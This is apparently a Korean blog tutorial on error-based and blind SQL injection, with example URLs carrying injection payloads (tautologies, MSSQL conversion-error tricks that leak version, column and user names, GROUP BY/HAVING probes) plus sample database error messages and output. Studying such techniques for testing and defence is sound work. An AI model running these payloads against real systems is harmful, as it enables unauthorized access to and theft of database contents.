IMLENA

SQL Injection 기초 - DB Error 기준 본문

WEB

SQL Injection 기초 - DB Error 기준

IM레나2 2021. 9. 2. 18:19

SQL Injection 이란

애플리케이션의 사용자 입력값에 SQL 쿼리를 삽입 또는 추가 하고 해당 SQL구문을 서버가 해석 및 실행하는 과정에서 발생하는 공격

테이블, 메타데이터 조작, 권한 상승등의 취약점을 발생시킨다.

 

EX) http://test.com/login.php?id=hi&pw=hi or '1' = '1

 

입력된 SQL 구문

Select user from users where id='hi' and pw='hi' or '1' ='1';

 

취약점 구분

 

1) 싱글쿼터 ( ' )

SQL에서 (')는 코드와 데이터를 구분하는 식별자로 사용한다.

위 이미지를 보면 ' 가 추가된 경우 데이터가 출력되지 않는다.

이런 경우 error 메시지를 반환하게 된다.

 

2) ORACLE  - 공백, | |, 콤마(,), 마침표(.),(*/),더블쿼터(") 를 특수무나로 인식된다.

| 문자 연결자의 역할을 하며, */는 주석의 끝부분을 의미하는데 쓰인다.

 

3) 문자 연결자

MySQL - 스페이스

MSSQL - +

http://site.com/item?category=car 

http://site.com/item?category=c'+'ar 

 

두 결과가 같다면 취약점이 존재 할 가능성이 높다고 판단 할 수 있다.

 

Error를 통한 Injection

 

1. MSSQL

http://site.com/item.php?category=car'and 1=0/@@version;--

문자형인 version정보를 숫자형으로 나누기에 에러가 발생한다.

error) Syntax error converting the nvarchar value 'Microsoft SQL server 2000-8.00.760 ~~' to a column of data type int.

 

version 외에 0/user;-- 사용가능

 

http://site.com/item.php?category=car having '1'='1

error) Column 'item.itemid' is invalid in the select list because it is not contained ~

having절은 group by 절과 같이 사용한다. group by 절은 select 구문의 선택항목들이 집계함수(min,avg,sum)의 결과이거나 group by 절 안에 포함될때 필요하다. 만약 이 조건이 충족되지 않으면 DB는 해당이슈가 발생한 가장 첫 번째 컬럼 정보를 에러에 표시하여 돌려준다.  (Mysql 의 경우 having만 있어도 에러가 나지 않는다. where 없이)

 

http://site.com/item.php?category=car' GROUP BY itemid having '1'='1

error) Column 'item.name' ~ itemid 다음 컬럼 항목이 노출된다.

같은 방법으로 나머지 컬럼명도 확인 할 수 있다.

 

http://site.com/item.php?category=car'and 1=0/name;--

 

error) Syntax error converting the nvarchar value 'one two three' to a column of data type int.

 

유저 정보

 

http://site.com/login.php?userid=test' having '1'='1

http://site.com/login.php?userid=test' GROUP BY user having '1'='1

http://site.com/login.php?userid=test' and 1=0/user and '1'='1

 

http://site.com/login.php?userid=test' and user not in('admin') and 1=0/user and '1'='1

발견된 사용자 계정을 제외하고 검색

 

2. MYSQL

 

* ' ' 없이 입력한 경우 컬럼 명으로 파라미터를 처리해서 에러가 발생

mysql> select * from user where id=lena;
ERROR 1054 (42S22): Unknown column 'lena' in 'where clause'

 

3. ORACLE

 

* ' 싱글 쿼터 처리에러

Error: SQLException java.sql.SQLException: ORA-01756: quoted string not properly terminated

or .NET기반

ORA-00933: SQL command not properly ended

or PHP 엔진

Warning: ociparse() [function.ociparse]: ORA-01756: quoted string not

 

ociparse() 함수에서 구문분석에 실패하고 적절하게 에러처리가 이루어지지 않았다면 어플리케이션은 다른 부분에서 에러를 발생 수 있다.

Warning: ociexecute(): supplied argument is not a valid OCI8-Statement

 

Oracle 의 missing right parenthesis 에러

- 서브쿼리문 조작시 괄호가 없거나, 서브쿼리 이후를 주석처리 한경우

select column1, column2, select field1 from table2 where id=<공격자 입력값>) as field3 from table1

 

** 일반적인 ERROR나 지정된 ERROR 페이지만 확인 될 경우

 

http://site.com/item.php?category='[attack's]' 

http://site.com/item.php?category='car' or '1'='1

취약한 애플리케이션이라면 모든 값을 반환 하게 된다.

mysql> select * from user where id='test' or '1'='1';
+-------+-------+
| id    | pw    |
+-------+-------+
| hola  | hola  |
| nihao | nihao |
| ohayo | ohayo |
| cava  | cava  |
| lena  | lena  |
+-------+-------+
5 rows in set (0.00 sec)

 

http://site.com/item.php?category='car' and '1'='2

항상 참을 만드는 구문은 많은 리소스를 사용함으로 항상 거짓 조건을 사용한다.

만약 항상거짓 조건에도 결과를 반환할 땐 select * from item where category='car' and '1'='2' union select * from new;

union 구문사용등의 경우 일 수 있다.

 

** HTTP 에러코드

HTTP 500 코드는 웹 서버에서 요청된 리소스 생성하는데 에러가 발생할 경우 반환되는 코드

HTTP 302 리디렉션 일반적인 에러처리 방식으로 에러발생시 리디렉션시키는 코드

 

 

** Blind SQL Injection

http://test.com/shop.php?id=1 

http://test.com/shop.php?id=-1

http://test.com/shop.php?id=101011010

http://test.com/shop.php?id=test

http://test.com/shop.php?id=test'

http://test.com/shop.php?id=

위의 테스트 결과가 모두 빈값을 표시한다고 가정

 

http://test.com/shop.php?id=3-1

http://test.com/shop.php?id=2-1

로 테스트시 id=2, id=1 값의 페이지를 표시

 

http://test.com/shop.php?id=1%2b1

%2b는 + 기호로 GET 방식으로 전달되는 경우 사용가능하다.

id=2 페이지를 반환한다.

 

http://test.com/shop.php?id=2 and 1=1  -> 두번째 페이지 반환

http://test.com/shop.php?id=2 and 1=2   -> 첫번째 페이지 반환

적절하지 않은 값이 입력된경우 첫번째페이지를 반환

 

http://test.com/shop.php?id=2 or 1=1  -> 첫번째 페이지 반환

http://test.com/shop.php?id=2 or 1=2   -> 두번째 페이지 반환

or 1=1 모든 값이 반환되게 하는 구문인데, 비정상적인 것으로 판단하고 첫번째 페이지만 반환하게 된다.

 

 

 

 

Comments